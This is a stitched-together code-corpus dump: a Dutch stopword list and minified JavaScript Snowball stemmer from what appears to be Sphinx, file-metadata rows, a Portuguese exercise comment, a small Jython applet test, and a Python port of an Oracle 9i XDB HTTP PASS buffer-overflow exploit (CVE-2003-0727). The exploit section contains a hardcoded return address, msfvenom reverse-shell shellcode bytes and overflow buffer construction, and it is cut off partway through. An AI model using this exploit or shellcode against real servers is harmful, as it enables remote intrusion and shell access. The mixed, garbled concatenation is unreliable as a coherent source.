of | or, whether, if
wat | what, something, anything
mijn | possessive and noun 'mine'
men | people, 'one'
dit | this
zo | so, thus, in this way
door | through by
over | over, across
ze | she, her, they, them
zich | oneself
bij | (1) a bee, (2) by, near, at
ook | also, too
tot | till, until
je | you
mij | me
uit | out of, from
der | Old Dutch form of 'van der' still found in surnames
daar | (1) there, (2) because
haar | (1) her, their, them, (2) hair
naar | (1) unpleasant, unwell etc, (2) towards, (3) as
heb | present first person sing. of 'to have'
hoe | how, why
heeft | present third person sing. of 'to have'
hebben | 'to have' and various parts thereof
deze | this
u | you
want | (1) for, (2) mitten, (3) rigging
nog | yet, still
zal | 'shall', first and third person sing. of verb 'zullen' (will)
me | me
zij | she, they
nu | now
ge | 'thou', still used in Belgium and south Netherlands
geen | none
omdat | because
iets | something, somewhat
worden | to become, grow, get
toch | yet, still
al | all, every, each
waren | (1) 'were' (2) to wander, (3) wares, (3)
veel | much, many
meer | (1) more, (2) lake
doen | to do, to make
toen | then, when
moet | noun 'spot/mote' and present form of 'to must'
ben | (1) am, (2) 'are' in interrogative second person singular of 'to be'
zonder | without
kan | noun 'can' and present form of 'to be able'
hun | their, them
dus | so, consequently
alles | all, everything, anything
onder | under, beneath
ja | yes, of course
eens | once, one day
hier | here
wie | who
werd | imperfect third person sing. of 'become'
altijd | always
doch | yet, but etc
wordt | present third person sing. of 'become'
wezen | (1) to be, (2) 'been' as in 'been fishing', (3) orphans
kunnen | to be able
ons | us/our
zelf | self
tegen | against, towards, at
na | after, near
reeds | already
wil | (1) present tense of 'want', (2) 'will', noun, (3) fender
kon | could; past tense of 'to be able'
niets | nothing
uw | your
iemand | somebody
geweest | been; past participle of 'be'
andere | other
''')
js_stemmer = """
var JSX={};(function(m){function n(b,e){var a=function(){};a.prototype=e.prototype;var c=new a;for(var d in b){b[d].prototype=c}}function L(c,b){for(var a in b.prototype)if(b.prototype.hasOwnProperty(a))c.prototype[a]=b.prototype[a]}function e(a,b,d){function c(a,b,c){delete a[b];a[b]=c;return c}Object.defineProperty(a,b,{get:function(){return c(a,b,d())},set:function(d){c(a,b,d)},enumerable:true,configurable:true})}function K(a,b,c){return a[b]=a[b]/c|0}var I=parseInt;var E=parseFloat;function M(a){return a!==a}var B=isFinite;var A=encodeURIComponent;var z=decodeURIComponent;var y=encodeURI;var x=decodeURI;var w=Object.prototype.toString;var C=Object.prototype.hasOwnProperty;function l(){}m.require=function(b){var a=t[b];return a!==undefined?a:null};m.profilerIsRunning=function(){return l.getResults!=null};m.getProfileResults=function(){return(l.getResults||function(){return{}})()};m.postProfileResults=function(a,b){if(l.postResults==null)throw new Error('profiler has not been turned on');return l.postResults(a,b)};m.resetProfileResults=function(){if(l.resetResults==null)throw new Error('profiler has not been turned on');return l.resetResults()};m.DEBUG=false;function v(){};n([v],Error);function c(a,b,c){this.F=a.length;this.K=a;this.L=b;this.I=c;this.H=null;this.P=null};n([c],Object);function s(){};n([s],Object);function g(){var a;var b;var c;this.G={};a=this.D='';b=this._=0;c=this.A=a.length;this.E=0;this.C=b;this.B=c};n([g],s);function D(a,b){a.D=b.D;a._=b._;a.A=b.A;a.E=b.E;a.C=b.C;a.B=b.B};function i(b,d,c,e){var a;if(b._>=b.A){return false}a=b.D.charCodeAt(b._);if(a>e||a<c){return false}a-=c;if((d[a>>>3]&1<<(a&7))===0){return false}b._++;return true};function r(a,d,c,e){var b;if(a._>=a.A){return false}b=a.D.charCodeAt(a._);if(b>e||b<c){a._++;return true}b-=c;if((d[b>>>3]&1<<(b&7))===0){a._++;return true}return false};function f(a,d,c,e){var b;if(a._<=a.E){return false}b=a.D.charCodeAt(a._-1);if(b>e||b<c){a._--;return true}b-=c;if((d[b>>>3]&1<<(b&7))===0){a._--;return true}return false};function k(a,b,d){var c;if(a.A-a._<b){return false}if(a.D.slice(c=a._,c+b)!==d){return false}a._+=b;return true};function d(a,b,d){var c;if(a._-a.E<b){return false}if(a.D.slice((c=a._)-b,c)!==d){return false}a._-=b;return true};function q(f,m,p){var b;var d;var e;var n;var g;var k;var l;var i;var h;var c;var a;var j;var o;b=0;d=p;e=f._;n=f.A;g=0;k=0;l=false;while(true){i=b+(d-b>>>1);h=0;c=g<k?g:k;a=m[i];for(j=c;j<a.F;j++){if(e+c===n){h=-1;break}h=f.D.charCodeAt(e+c)-a.K.charCodeAt(j);if(h!==0){break}c++}if(h<0){d=i;k=c}else{b=i;g=c}if(d-b<=1){if(b>0){break}if(d===b){break}if(l){break}l=true}}while(true){a=m[b];if(g>=a.F){f._=e+a.F|0;if(a.H==null){return a.I}o=a.H(a.P);f._=e+a.F|0;if(o){return a.I}}b=a.L;if(b<0){return 0}}return-1};function h(d,m,p){var b;var g;var e;var n;var f;var k;var l;var i;var h;var c;var a;var j;var o;b=0;g=p;e=d._;n=d.E;f=0;k=0;l=false;while(true){i=b+(g-b>>1);h=0;c=f<k?f:k;a=m[i];for(j=a.F-1-c;j>=0;j--){if(e-c===n){h=-1;break}h=d.D.charCodeAt(e-1-c)-a.K.charCodeAt(j);if(h!==0){break}c++}if(h<0){g=i;k=c}else{b=i;f=c}if(g-b<=1){if(b>0){break}if(g===b){break}if(l){break}l=true}}while(true){a=m[b];if(f>=a.F){d._=e-a.F|0;if(a.H==null){return a.I}o=a.H(d);d._=e-a.F|0;if(o){return a.I}}b=a.L;if(b<0){return 0}}return-1};function u(a,b,d,e){var c;c=e.length-(d-b);a.D=a.D.slice(0,b)+e+a.D.slice(d);a.A+=c|0;if(a._>=d){a._+=c|0}else if(a._>b){a._=b}return c|0};function b(a,f){var b;var c;var d;var e;b=false;if((c=a.C)<0||c>(d=a.B)||d>(e=a.A)||e>a.D.length?false:true){u(a,a.C,a.B,f);b=true}return b};g.prototype.J=function(){return false};g.prototype.Z=function(b){var a;var c;var d;var e;a=this.G['.'+b];if(a==null){c=this.D=b;d=this._=0;e=this.A=c.length;this.E=0;this.C=d;this.B=e;this.J();a=this.D;this.G['.'+b]=a}return a};g.prototype.stemWord=g.prototype.Z;g.prototype.a=function(e){var d;var b;var c;var a;var f;var g;var h;d=[];for(b=0;b<e.length;b++){c=e[b];a=this.G['.'+c];if(a==null){f=this.D=c;g=this._=0;h=this.A=f.length;this.E=0;this.C=g;this.B=h;this.J();a=this.D;this.G['.'+c]=a}d.push(a)}return d};g.prototype.stemWords=g.prototype.a;function a(){g.call(this);this.I_p2=0;this.I_p1=0;this.B_e_found=false};n([a],g);a.prototype.M=function(a){this.I_p2=a.I_p2;this.I_p1=a.I_p1;this.B_e_found=a.B_e_found;D(this,a)};a.prototype.copy_from=a.prototype.M;a.prototype.W=function(){var e;var m;var n;var o;var p;var d;var s;var c;var f;var g;var h;var j;var l;var t;var r;m=this._;b:while(true){n=this._;c=true;a:while(c===true){c=false;this.C=this._;e=q(this,a.a_0,11);if(e===0){break a}this.B=this._;switch(e){case 0:break a;case 1:if(!b(this,'a')){return false}break;case 2:if(!b(this,'e')){return false}break;case 3:if(!b(this,'i')){return false}break;case 4:if(!b(this,'o')){return false}break;case 5:if(!b(this,'u')){return false}break;case 6:if(this._>=this.A){break a}this._++;break}continue b}this._=n;break b}t=this._=m;o=t;f=true;a:while(f===true){f=false;this.C=this._;if(!k(this,1,'y')){this._=o;break a}this.B=this._;if(!b(this,'Y')){return false}}a:while(true){p=this._;g=true;d:while(g===true){g=false;e:while(true){d=this._;h=true;b:while(h===true){h=false;if(!i(this,a.g_v,97,232)){break b}this.C=this._;j=true;f:while(j===true){j=false;s=this._;l=true;c:while(l===true){l=false;if(!k(this,1,'i')){break c}this.B=this._;if(!i(this,a.g_v,97,232)){break c}if(!b(this,'I')){return false}break f}this._=s;if(!k(this,1,'y')){break b}this.B=this._;if(!b(this,'Y')){return false}}this._=d;break e}r=this._=d;if(r>=this.A){break d}this._++}continue a}this._=p;break a}return true};a.prototype.r_prelude=a.prototype.W;function F(c){var d;var s;var t;var o;var p;var e;var n;var f;var g;var h;var j;var l;var m;var u;var r;s=c._;b:while(true){t=c._;f=true;a:while(f===true){f=false;c.C=c._;d=q(c,a.a_0,11);if(d===0){break a}c.B=c._;switch(d){case 0:break a;case 1:if(!b(c,'a')){return false}break;case 2:if(!b(c,'e')){return false}break;case 3:if(!b(c,'i')){return false}break;case 4:if(!b(c,'o')){return false}break;case 5:if(!b(c,'u')){return false}break;case 6:if(c._>=c.A){break a}c._++;break}continue b}c._=t;break b}u=c._=s;o=u;g=true;a:while(g===true){g=false;c.C=c._;if(!k(c,1,'y')){c._=o;break a}c.B=c._;if(!b(c,'Y')){return false}}a:while(true){p=c._;h=true;d:while(h===true){h=false;e:while(true){e=c._;j=true;b:while(j===true){j=false;if(!i(c,a.g_v,97,232)){break b}c.C=c._;l=true;f:while(l===true){l=false;n=c._;m=true;c:while(m===true){m=false;if(!k(c,1,'i')){break c}c.B=c._;if(!i(c,a.g_v,97,232)){break c}if(!b(c,'I')){return false}break f}c._=n;if(!k(c,1,'y')){break b}c.B=c._;if(!b(c,'Y')){return false}}c._=e;break e}r=c._=e;if(r>=c.A){break d}c._++}continue a}c._=p;break a}return true};a.prototype.U=function(){var b;var c;var d;var e;var f;var g;this.I_p1=g=this.A;this.I_p2=g;a:while(true){b=true;b:while(b===true){b=false;if(!i(this,a.g_v,97,232)){break b}break a}if(this._>=this.A){return false}this._++}a:while(true){c=true;b:while(c===true){c=false;if(!r(this,a.g_v,97,232)){break b}break a}if(this._>=this.A){return false}this._++}this.I_p1=this._;d=true;a:while(d===true){d=false;if(!(this.I_p1<3)){break a}this.I_p1=3}a:while(true){e=true;b:while(e===true){e=false;if(!i(this,a.g_v,97,232)){break b}break a}if(this._>=this.A){return false}this._++}a:while(true){f=true;b:while(f===true){f=false;if(!r(this,a.g_v,97,232)){break b}break a}if(this._>=this.A){return false}this._++}this.I_p2=this._;return true};a.prototype.r_mark_regions=a.prototype.U;function G(b){var c;var d;var e;var f;var g;var h;b.I_p1=h=b.A;b.I_p2=h;a:while(true){c=true;b:while(c===true){c=false;if(!i(b,a.g_v,97,232)){break b}break a}if(b._>=b.A){return false}b._++}a:while(true){d=true;b:while(d===true){d=false;if(!r(b,a.g_v,97,232)){break b}break a}if(b._>=b.A){return false}b._++}b.I_p1=b._;e=true;a:while(e===true){e=false;if(!(b.I_p1<3)){break a}b.I_p1=3}a:while(true){f=true;b:while(f===true){f=false;if(!i(b,a.g_v,97,232)){break b}break a}if(b._>=b.A){return false}b._++}a:while(true){g=true;b:while(g===true){g=false;if(!r(b,a.g_v,97,232)){break b}break a}if(b._>=b.A){return false}b._++}b.I_p2=b._;return true};a.prototype.V=function(){var c;var e;var d;b:while(true){e=this._;d=true;a:while(d===true){d=false;this.C=this._;c=q(this,a.a_1,3);if(c===0){break a}this.B=this._;switch(c){case 0:break a;case 1:if(!b(this,'y')){return false}break;case 2:if(!b(this,'i')){return false}break;case 3:if(this._>=this.A){break a}this._++;break}continue b}this._=e;break b}return true};a.prototype.r_postlude=a.prototype.V;function H(c){var d;var f;var e;b:while(true){f=c._;e=true;a:while(e===true){e=false;c.C=c._;d=q(c,a.a_1,3);if(d===0){break a}c.B=c._;switch(d){case 0:break a;case 1:if(!b(c,'y')){return false}break;case 2:if(!b(c,'i')){return false}break;case 3:if(c._>=c.A){break a}c._++;break}continue b}c._=f;break b}return true};a.prototype.Q=function(){return!(this.I_p1<=this._)?false:true};a.prototype.r_R1=a.prototype.Q;a.prototype.R=function(){return!(this.I_p2<=this._)?false:true};a.prototype.r_R2=a.prototype.R;a.prototype.Y=function(){var d;var c;d=this.A-this._;if(h(this,a.a_2,3)===0){return false}c=this._=this.A-d;this.B=c;if(c<=this.E){return false}this._--;this.C=this._;return!b(this,'')?false:true};a.prototype.r_undouble=a.prototype.Y;function j(c){var e;var d;e=c.A-c._;if(h(c,a.a_2,3)===0){return false}d=c._=c.A-e;c.B=d;if(d<=c.E){return false}c._--;c.C=c._;return!b(c,'')?false:true};a.prototype.S=function(){var c;var e;this.B_e_found=false;this.B=this._;if(!d(this,1,'e')){return false}this.C=e=this._;if(!(!(this.I_p1<=e)?false:true)){return false}c=this.A-this._;if(!f(this,a.g_v,97,232)){return false}this._=this.A-c;if(!b(this,'')){return false}this.B_e_found=true;return!j(this)?false:true};a.prototype.r_e_ending=a.prototype.S;function o(c){var e;var g;c.B_e_found=false;c.B=c._;if(!d(c,1,'e')){return false}c.C=g=c._;if(!(!(c.I_p1<=g)?false:true)){return false}e=c.A-c._;if(!f(c,a.g_v,97,232)){return false}c._=c.A-e;if(!b(c,'')){return false}c.B_e_found=true;return!j(c)?false:true};a.prototype.T=function(){var e;var g;var c;var h;var i;if(!(!(this.I_p1<=this._)?false:true)){return false}e=this.A-this._;if(!f(this,a.g_v,97,232)){return false}i=this._=(h=this.A)-e;g=h-i;c=true;a:while(c===true){c=false;if(!d(this,3,'gem')){break a}return false}this._=this.A-g;return!b(this,'')?false:!j(this)?false:true};a.prototype.r_en_ending=a.prototype.T;function p(c){var g;var h;var e;var i;var k;if(!(!(c.I_p1<=c._)?false:true)){return false}g=c.A-c._;if(!f(c,a.g_v,97,232)){return false}k=c._=(i=c.A)-g;h=i-k;e=true;a:while(e===true){e=false;if(!d(c,3,'gem')){break a}return false}c._=c.A-h;return!b(c,'')?false:!j(c)?false:true};a.prototype.X=function(){var c;var v;var w;var x;var y;var z;var A;var B;var C;var D;var M;var m;var g;var i;var k;var l;var e;var n;var q;var r;var s;var E;var F;var G;var H;var I;var J;var K;var L;var t;var N;var u;v=this.A-this._;m=true;a:while(m===true){m=false;this.B=this._;c=h(this,a.a_3,5);if(c===0){break a}this.C=this._;switch(c){case 0:break a;case 1:if(!(!(this.I_p1<=this._)?false:true)){break a}if(!b(this,'heid')){return false}break;case 2:if(!p(this)){break a}break;case 3:if(!(!(this.I_p1<=this._)?false:true)){break a}if(!f(this,a.g_v_j,97,232)){break a}if(!b(this,'')){return false}break}}F=this._=(E=this.A)-v;w=E-F;g=true;a:while(g===true){g=false;if(!o(this)){break a}}I=this._=(H=this.A)-w;x=H-I;i=true;a:while(i===true){i=false;this.B=this._;if(!d(this,4,'heid')){break a}this.C=G=this._;if(!(!(this.I_p2<=G)?false:true)){break a}y=this.A-this._;k=true;b:while(k===true){k=false;if(!d(this,1,'c')){break b}break a}this._=this.A-y;if(!b(this,'')){return false}this.B=this._;if(!d(this,2,'en')){break a}this.C=this._;if(!p(this)){break a}}L=this._=(K=this.A)-x;z=K-L;l=true;a:while(l===true){l=false;this.B=this._;c=h(this,a.a_4,6);if(c===0){break a}this.C=this._;switch(c){case 0:break a;case 1:if(!(!(this.I_p2<=this._)?false:true)){break a}if(!b(this,'')){return false}e=true;c:while(e===true){e=false;A=this.A-this._;n=true;b:while(n===true){n=false;this.B=this._;if(!d(this,2,'ig')){break b}this.C=J=this._;if(!(!(this.I_p2<=J)?false:true)){break b}B=this.A-this._;q=true;d:while(q===true){q=false;if(!d(this,1,'e')){break d}break b}this._=this.A-B;if(!b(this,'')){return false}break c}this._=this.A-A;if(!j(this)){break a}}break;case 2:if(!(!(this.I_p2<=this._)?false:true)){break a}C=this.A-this._;r=true;b:while(r===true){r=false;if(!d(this,1,'e')){break b}break a}this._=this.A-C;if(!b(this,'')){return false}break;case 3:if(!(!(this.I_p2<=this._)?false:true)){break a}if(!b(this,'')){return false}if(!o(this)){break a}break;case 4:if(!(!(this.I_p2<=this._)?false:true)){break a}if(!b(this,'')){return false}break;case 5:if(!(!(this.I_p2<=this._)?false:true)){break a}if(!this.B_e_found){break a}if(!b(this,'')){return false}break}}u=this._=(N=this.A)-z;D=N-u;s=true;a:while(s===true){s=false;if(!f(this,a.g_v_I,73,232)){break a}M=this.A-this._;if(h(this,a.a_5,4)===0){break a}if(!f(this,a.g_v,97,232)){break a}t=this._=this.A-M;this.B=t;if(t<=this.E){break a}this._--;this.C=this._;if(!b(this,'')){return false}}this._=this.A-D;return true};a.prototype.r_standard_suffix=a.prototype.X;function J(c){var e;var w;var x;var y;var z;var A;var B;var C;var D;var E;var N;var g;var i;var k;var l;var m;var n;var q;var r;var s;var t;var F;var G;var H;var I;var J;var K;var L;var M;var u;var O;var v;w=c.A-c._;g=true;a:while(g===true){g=false;c.B=c._;e=h(c,a.a_3,5);if(e===0){break a}c.C=c._;switch(e){case 0:break a;case 1:if(!(!(c.I_p1<=c._)?false:true)){break a}if(!b(c,'heid')){return false}break;case 2:if(!p(c)){break a}break;case 3:if(!(!(c.I_p1<=c._)?false:true)){break a}if(!f(c,a.g_v_j,97,232)){break a}if(!b(c,'')){return false}break}}G=c._=(F=c.A)-w;x=F-G;i=true;a:while(i===true){i=false;if(!o(c)){break a}}J=c._=(I=c.A)-x;y=I-J;k=true;a:while(k===true){k=false;c.B=c._;if(!d(c,4,'heid')){break a}c.C=H=c._;if(!(!(c.I_p2<=H)?false:true)){break a}z=c.A-c._;l=true;b:while(l===true){l=false;if(!d(c,1,'c')){break b}break a}c._=c.A-z;if(!b(c,'')){return false}c.B=c._;if(!d(c,2,'en')){break a}c.C=c._;if(!p(c)){break a}}M=c._=(L=c.A)-y;A=L-M;m=true;a:while(m===true){m=false;c.B=c._;e=h(c,a.a_4,6);if(e===0){break a}c.C=c._;switch(e){case 0:break a;case 1:if(!(!(c.I_p2<=c._)?false:true)){break a}if(!b(c,'')){return false}n=true;c:while(n===true){n=false;B=c.A-c._;q=true;b:while(q===true){q=false;c.B=c._;if(!d(c,2,'ig')){break b}c.C=K=c._;if(!(!(c.I_p2<=K)?false:true)){break b}C=c.A-c._;r=true;d:while(r===true){r=false;if(!d(c,1,'e')){break d}break b}c._=c.A-C;if(!b(c,'')){return false}break c}c._=c.A-B;if(!j(c)){break a}}break;case 2:if(!(!(c.I_p2<=c._)?false:true)){break a}D=c.A-c._;s=true;b:while(s===true){s=false;if(!d(c,1,'e')){break b}break a}c._=c.A-D;if(!b(c,'')){return false}break;case 3:if(!(!(c.I_p2<=c._)?false:true)){break a}if(!b(c,'')){return false}if(!o(c)){break a}break;case 4:if(!(!(c.I_p2<=c._)?false:true)){break a}if(!b(c,'')){return false}break;case 5:if(!(!(c.I_p2<=c._)?false:true)){break a}if(!c.B_e_found){break a}if(!b(c,'')){return false}break}}v=c._=(O=c.A)-A;E=O-v;t=true;a:while(t===true){t=false;if(!f(c,a.g_v_I,73,232)){break a}N=c.A-c._;if(h(c,a.a_5,4)===0){break a}if(!f(c,a.g_v,97,232)){break a}u=c._=c.A-N;c.B=u;if(u<=c.E){break a}c._--;c.C=c._;if(!b(c,'')){return false}}c._=c.A-E;return true};a.prototype.J=function(){var f;var g;var h;var b;var a;var c;var d;var i;var j;var e;f=this._;b=true;a:while(b===true){b=false;if(!F(this)){break a}}i=this._=f;g=i;a=true;a:while(a===true){a=false;if(!G(this)){break a}}j=this._=g;this.E=j;this._=this.A;c=true;a:while(c===true){c=false;if(!J(this)){break a}}e=this._=this.E;h=e;d=true;a:while(d===true){d=false;if(!H(this)){break a}}this._=h;return true};a.prototype.stem=a.prototype.J;a.prototype.N=function(b){return b instanceof a};a.prototype.equals=a.prototype.N;a.prototype.O=function(){var c;var a;var b;var d;c='DutchStemmer';a=0;for(b=0;b<c.length;b++){d=c.charCodeAt(b);a=(a<<5)-a+d;a=a&a}return a|0};a.prototype.hashCode=a.prototype.O;a.serialVersionUID=1;e(a,'methodObject',function(){return new a});e(a,'a_0',function(){return[new c('',-1,6),new c('á',0,1),new c('ä',0,1),new c('é',0,2),new c('ë',0,2),new c('í',0,3),new c('ï',0,3),new c('ó',0,4),new c('ö',0,4),new c('ú',0,5),new c('ü',0,5)]});e(a,'a_1',function(){return[new c('',-1,3),new c('I',0,2),new c('Y',0,1)]});e(a,'a_2',function(){return[new c('dd',-1,-1),new c('kk',-1,-1),new c('tt',-1,-1)]});e(a,'a_3',function(){return[new c('ene',-1,2),new c('se',-1,3),new c('en',-1,2),new c('heden',2,1),new c('s',-1,3)]});e(a,'a_4',function(){return[new c('end',-1,1),new c('ig',-1,2),new c('ing',-1,1),new c('lijk',-1,3),new c('baar',-1,4),new c('bar',-1,5)]});e(a,'a_5',function(){return[new c('aa',-1,-1),new c('ee',-1,-1),new c('oo',-1,-1),new c('uu',-1,-1)]});e(a,'g_v',function(){return[17,65,16,1,0,0,0,0,0,0,0,0,0,0,0,0,128]});e(a,'g_v_I',function(){return[1,0,0,17,65,16,1,0,0,0,0,0,0,0,0,0,0,0,0,128]});e(a,'g_v_j',function(){return[17,67,16,1,0,0,0,0,0,0,0,0,0,0,0,0,128]});var t={'src/stemmer.jsx':{Stemmer:s},'src/dutch-stemmer.jsx':{DutchStemmer:a}}}(JSX))
var Stemmer = JSX.require("src/dutch-stemmer.jsx").DutchStemmer;
"""
class SearchDutch(SearchLanguage):
lang = 'nl'
language_name = 'Dutch'
js_stemmer_rawcode = 'dutch-stemmer.js'
js_stemmer_code = js_stemmer
stopwords = dutch_stopwords
def init(self, options):
# type: (Any) -> None
self.stemmer = snowballstemmer.stemmer('dutch')
def stem(self, word):
# type: (str) -> str
return self.stemmer.stemWord(word.lower())
| 151.827586
| 17,115
| 0.615717
| 4,934
| 22,015
| 2.677138
| 0.094041
| 0.039064
| 0.006814
| 0.008176
| 0.528806
| 0.445302
| 0.380271
| 0.319479
| 0.246271
| 0.18018
| 0
| 0.026177
| 0.115012
| 22,015
| 144
| 17,116
| 152.881944
| 0.651799
| 0.01181
| 0
| 0
| 0
| 0.04918
| 0.975235
| 0.633309
| 0
| 0
| 0
| 0
| 0
| 1
| 0.016393
| false
| 0
| 0.02459
| 0.008197
| 0.098361
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 1
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 4
|
0772d50f9c625167a33ffbd8146947e19b452a76
| 258
|
py
|
Python
|
pt/102/python/main.py
|
franciscogomes2020/exercises
|
8b33c4b9349a9331e4002a8225adc2a482c70024
|
[
"MIT"
] | null | null | null |
pt/102/python/main.py
|
franciscogomes2020/exercises
|
8b33c4b9349a9331e4002a8225adc2a482c70024
|
[
"MIT"
] | null | null | null |
pt/102/python/main.py
|
franciscogomes2020/exercises
|
8b33c4b9349a9331e4002a8225adc2a482c70024
|
[
"MIT"
] | null | null | null |
# Crie um programa que tenha uma função fatorial() que receba dois parâmetros: o primeiro que indique o número a calcular e outro chamado show, que será um valor lógico (opcional) indicando se será mostrado ou não na tela o processo de cálculo do fatorial.
| 86
| 256
| 0.790698
| 44
| 258
| 4.636364
| 0.818182
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.178295
| 258
| 2
| 257
| 129
| 0.962264
| 0.984496
| 0
| null | 0
| null | 0
| 0
| null | 0
| 0
| 0
| null | 1
| null | true
| 0
| 0
| null | null | null | 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
|
0
| 4
|
079fb986f857e8861697d6afeafacad5e0a1b621
| 166
|
py
|
Python
|
bugtests/test194c.py
|
doom38/jython_v2.2.1
|
0803a0c953c294e6d14f9fc7d08edf6a3e630a15
|
[
"CNRI-Jython"
] | null | null | null |
bugtests/test194c.py
|
doom38/jython_v2.2.1
|
0803a0c953c294e6d14f9fc7d08edf6a3e630a15
|
[
"CNRI-Jython"
] | null | null | null |
bugtests/test194c.py
|
doom38/jython_v2.2.1
|
0803a0c953c294e6d14f9fc7d08edf6a3e630a15
|
[
"CNRI-Jython"
] | null | null | null |
from java.applet import Applet
from test194m.test194c2 import test194c2
class test194c(Applet):
def init(self):
mf2 = test194c2(); mf2.show()
| 27.666667
| 45
| 0.668675
| 20
| 166
| 5.55
| 0.65
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.15873
| 0.240964
| 166
| 6
| 45
| 27.666667
| 0.722222
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.2
| false
| 0
| 0.4
| 0
| 0.8
| 0
| 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
|
0
| 4
|
07ab33714760d702ee3620c0fc330a4e5f186ec3
| 3,879
|
py
|
Python
|
Ported-Exploits/CVE-2003-0727.py
|
wetw0rk/Exploit-Development
|
e40e3d995d89b0e293f4da6864156425ec1a00af
|
[
"MIT"
] | 50
|
2018-02-06T21:56:35.000Z
|
2022-02-17T17:25:36.000Z
|
Ported-Exploits/CVE-2003-0727.py
|
wetw0rk/Misc-Exploits
|
e40e3d995d89b0e293f4da6864156425ec1a00af
|
[
"MIT"
] | 1
|
2018-01-01T11:58:35.000Z
|
2018-01-01T12:21:31.000Z
|
Ported-Exploits/CVE-2003-0727.py
|
wetw0rk/Misc-Exploits
|
e40e3d995d89b0e293f4da6864156425ec1a00af
|
[
"MIT"
] | 32
|
2018-02-08T00:59:39.000Z
|
2021-06-25T21:35:26.000Z
|
#!/usr/bin/env python
#
# Script name : oracle9i_http_exploit.py
# Req Modules : None standard
# How exploit was discovered : David Litchfield
# Ported by : wetw0rk
# Original Exploit : https://www.exploit-db.com/exploits/16809/
# Version : 1.0
# Python Version : 2.7
# Description : David Litchfield, displays multiple vulnerabilities
# in the Oracle 9i XML Database. Oracle 9i XDB HTTP PASS
# Overflow (win32)
#
import sys, socket, base64, random, string
try:
target = str(sys.argv[1])
port = int(sys.argv[2])
ret = "\x46\x6d\x61\x60" # Universal Return Address
except IndexError:
print "############################################"
print """# Oracle 9i XDB HTTP PASS Overflow Exploit #"""
print """# CVE-2003-0727 #"""
print "############################################\n"
print "Usage: %s <RHOST> <RPORT>" % sys.argv[0]
print "Example: %s 10.11.1.202 8080" % sys.argv[0]
sys.exit()
# msfvenom -p windows/shell/reverse_tcp LHOST=X LPORT=2 EXITFUNC=thread -b "\x00" -f python
buf = ""
buf += "\xbd\xfb\xa2\x4f\x90\xdd\xc6\xd9\x74\x24\xf4\x5a\x29"
buf += "\xc9\xb1\x59\x83\xc2\x04\x31\x6a\x10\x03\x6a\x10\x19"
buf += "\x57\xb3\x78\x5f\x98\x4c\x79\x3f\x10\xa9\x48\x7f\x46"
buf += "\xb9\xfb\x4f\x0c\xef\xf7\x24\x40\x04\x83\x48\x4d\x2b"
buf += "\x24\xe6\xab\x02\xb5\x5a\x8f\x05\x35\xa0\xdc\xe5\x04"
buf += "\x6b\x11\xe7\x41\x91\xd8\xb5\x1a\xde\x4f\x2a\x2e\xaa"
buf += "\x53\xc1\x7c\x3b\xd4\x36\x34\x3a\xf5\xe8\x4e\x65\xd5"
buf += "\x0b\x82\x1e\x5c\x14\xc7\x1a\x16\xaf\x33\xd1\xa9\x79"
buf += "\x0a\x1a\x05\x44\xa2\xe9\x57\x80\x05\x11\x22\xf8\x75"
buf += "\xac\x35\x3f\x07\x6a\xb3\xa4\xaf\xf9\x63\x01\x51\x2e"
buf += "\xf5\xc2\x5d\x9b\x71\x8c\x41\x1a\x55\xa6\x7e\x97\x58"
buf += "\x69\xf7\xe3\x7e\xad\x53\xb0\x1f\xf4\x39\x17\x1f\xe6"
buf += "\xe1\xc8\x85\x6c\x0f\x1d\xb4\x2e\x58\xd2\xf5\xd0\x98"
buf += "\x7c\x8d\xa3\xaa\x23\x25\x2c\x87\xac\xe3\xab\xe8\x87"
buf += "\x54\x23\x17\x27\xa5\x6d\xdc\x73\xf5\x05\xf5\xfb\x9e"
buf += "\xd5\xfa\x2e\x0a\xd3\x6c\xda\xc0\xdb\xbf\xb2\xd4\xdb"
buf += "\x3f\x40\x50\x3d\x6f\x14\x32\x92\xd0\xc4\xf2\x42\xb9"
buf += "\x0e\xfd\xbd\xd9\x31\xd7\xd5\x70\xdd\x8e\x8e\xec\x44"
buf += "\x8b\x45\x8c\x89\x01\x20\x8e\x01\xa0\xd4\x41\xe1\xc1"
buf += "\xc6\xb6\x90\x29\x17\x47\x38\x2a\x7d\x43\xea\x7d\xe9"
buf += "\x49\xcb\x4a\xb6\xb2\x3e\xc9\xb1\x4d\xbe\xf8\xca\x78"
buf += "\x54\x45\xa5\x84\xb8\x45\x35\xd3\xd2\x45\x5d\x83\x86"
buf += "\x15\x78\xcc\x13\x0a\xd1\x59\x9b\x7b\x85\xca\xf3\x81"
buf += "\xf0\x3d\x5c\x79\xd7\x3d\x9a\x85\xa5\x63\x02\xee\x55"
buf += "\x24\xb2\xee\x3f\xa4\xe2\x86\xb4\x8b\x0d\x67\x34\x06"
buf += "\x46\xef\xbf\xc7\x25\x8e\xc0\xcd\xeb\x0e\xc0\xe2\x37"
buf += "\x46\x4f\x04\xc8\x67\xb1\x39\x1f\x5e\xc7\x7a\x9c\xe5"
buf += "\xc8\x98\x08\x10\x61\x05\xd9\x99\xec\xb6\x34\xdd\x08"
buf += "\x35\xbc\x9e\xee\x25\xb5\x9b\xab\xe1\x26\xd6\xa4\x87"
buf += "\x48\x45\xc4\x8d"
# Our raw exploit before being encoded to base64
print "[+] Generating That Pwn Sauce"
raw_exploit = "bruh" + ":"
raw_exploit += ''.join(random.sample(string.lowercase*17,len(string.lowercase*17)))
raw_exploit += "\xeb\x64" + "\x90\x90" + ret
